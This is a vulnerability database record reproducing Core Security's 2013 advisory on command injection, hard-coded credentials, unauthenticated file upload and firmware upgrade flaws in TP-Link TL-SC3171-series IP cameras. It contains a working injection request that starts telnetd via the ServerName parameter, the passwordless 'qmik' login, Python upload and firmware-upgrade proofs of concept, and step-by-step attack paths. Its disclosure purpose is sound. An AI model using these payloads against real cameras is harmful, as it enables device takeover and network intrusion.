ID

VAR-201310-0194

CVE

CVE-2013-2578

TITLE

plural TP-Link IP Cameras Product cgi-bin/admin/servetest Vulnerable to arbitrary command execution

DESCRIPTION

cgi-bin/admin/servetest in TP-Link IP Cameras TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G, and possibly other models before beta firmware LM.1.6.18P12_sign6 allows remote attackers to execute arbitrary commands via shell metacharacters in (1) the ServerName parameter and (2) other unspecified parameters. The TP-Link TL-SC3171 IP camera is a webcam device. TP-Link TL-SC3171 IP Cameras are prone to multiple remote command-injection vulnerabilities. Attackers may exploit these issues to execute arbitrary commands with root privileges in the context of the affected device. TP-Link TL-SC3171 running firmware version LM.1.6.18P12_sign5 is vulnerable; other versions may also be affected. There is a command injection vulnerability in the cgi-bin/admin/servetest file in versions earlier than LM.1.6.18P12_sign6 of TP-LINK IP Cameras. The following models are affected: TL-SC3130, TL-SC3130G, TL-SC3171, TL-SC3171G. *Advisory Information* Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras Advisory ID: CORE-2013-0618 Advisory URL: http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras Date published: 2013-07-30 Date of last update: 2013-07-30 Vendors contacted: TP-Link Release mode: Coordinated release 2. *Vulnerability Information* Class: OS command injection [CWE-78], Use of hard-coded credentials [CWE-798], Authentication Bypass Issues [CWE-592], Missing Authentication for Critical Function [CWE-306] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581 3. [CVE-2013-2578] to execute arbitrary commands through the file '/cgi-bin/admin/servetest'. 2. [CVE-2013-2579] to execute arbitrary commands in a shell using hard-coded credentials. 3. [CVE-2013-2580] to perform unauthenticated remote file uploads. 5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades. 3.1. *Attack Paths* There are several attack paths that can be exploited by combining these vulnerabilities with other ones discovered by Eliezer Varade Lopez, Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack paths are available, but the ones listed here allow understanding how an attacker could compromise the affected device. 3.1.1. *Attack Path I* (Authentication: none) 1. Upload a rooted firmware exploiting [CVE-2013-2581]. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3.1.2. *Attack Path II* (Authentication: bypassed) 1. Reset the device to its factory defaults exploiting 'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the authentication can by bypassed by using 'admin:admin' as a valid 'username:password'. 2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2]. 3. Start the Telnet service exploiting [CVE-2013-2578]. 4. Login to the Telnet service using user 'qmik' (no password) [CVE-2013-2579], and use the device as a pivoting point. 4. *Vulnerable Packages* Tests and PoC were run on: . 5. *Vendor Information, Solutions and Workarounds* Vendor provides the links to (pre-release) patched firmware versions [3]. The final official versions will be released in the next few days. Please, contact TP-Link for further information. 6. *Credits* These vulnerabilities were discovered by Flavio de Cristofaro and researched with the help of Andres Blanco from Core Security Technologies. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *OS Command Injection in servetest* [CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command injection in several of its parameters that can be exploited by an authenticated user to execute arbitrary commands. The following proof of concept starts the telnetd service: /----- GET /cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q HTTP/1.1 Accept: */* Accept-Language: en-us Referer: http://192.168.1.100/progress.htm If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: 192.168.1.100 Proxy-Connection: Keep-Alive Cookie: VideoFmt=1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 2 -----/ 7.2. *Hard-coded credentials in telnet service* [CVE-2013-2579] The affected system includes a hard-coded login with no password which could be used by a remote attacker to access the OS of the affected device using the built-in telnet service: /----- username: qmik password: (none) -----/ The 'qmik' user is allowed to execute the command 'su', allowing the user to execute arbitrary commands with root level privileges. The telnet service can be enabled through [CVE-2013-2578]. 7.3. *Unauthenticated remote file uploads* [CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated user to perform remote file uploads as shown in the following Python PoC: /----- import requests fileName = "lala.tmp" f = open(fileName, "w") f.write("lala") f.close() requests.post("http://192.168.1.100/cgi-bin/uploadfile", files={fileName: open(fileName, "rb")}) -----/ The uploaded file (in this example lala.tmp) will be hosted in the '/mnt/mtd' directory. 7.4. *Unauthenticated remote firmware upgrades* [CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an unauthenticated user to perform remote firmware upgrades as shown in the following Python POC: /----- import requests requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset") fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin" cookies={"VideoFmt":"1"} requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset", files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies) -----/ 8. *Report Timeline* . 2013-06-12: Core Security Technologies notifies the TP-Link team of the vulnerability. 2013-06-18: Core Security Technologies notifies the TP-Link team of the vulnerability and set the estimated publication date of the advisory for July 10, 2013. 2013-06-19: TP-Link answers saying that these vulnerabilities are the same as the ones published on May 28, 2013. 2013-06-26: Core Security Technologies notifies the TP-Link team that these are new, different, vulnerabilities and sends a draft report with technical information. 2013-06-26: Vendor acknowledges the receipt of the technical report. 2013-07-01: Vendor requests additional technical information. 2013-07-04: Core re-sends an improved technical report with additional information regarding possible attack paths [Sec. 3.1]. 2013-07-10: First release date missed. 2013-07-15: Core asks for a status update. 2013-07-22: Vendor notifies that a patched firmware version will be released on July 29th. 2013-07-22: Core re-schedules the advisory publication for July 29th. 2013-07-26: Vendor notifies that a (pre-release) patched firmware version is available [3] and being tested. 2013-07-30: Advisory CORE-2013-0618 is published. 9. *References* [1] TP-Link TL-SC3171, http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171. [3] See the online version, http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras. 10. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 12. *Disclaimer* The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

operating system commend injection

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Flavio de Cristofaro, Andres Blanco

SOURCES

LAST UPDATE DATE

2025-04-11T22:53:11.339000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE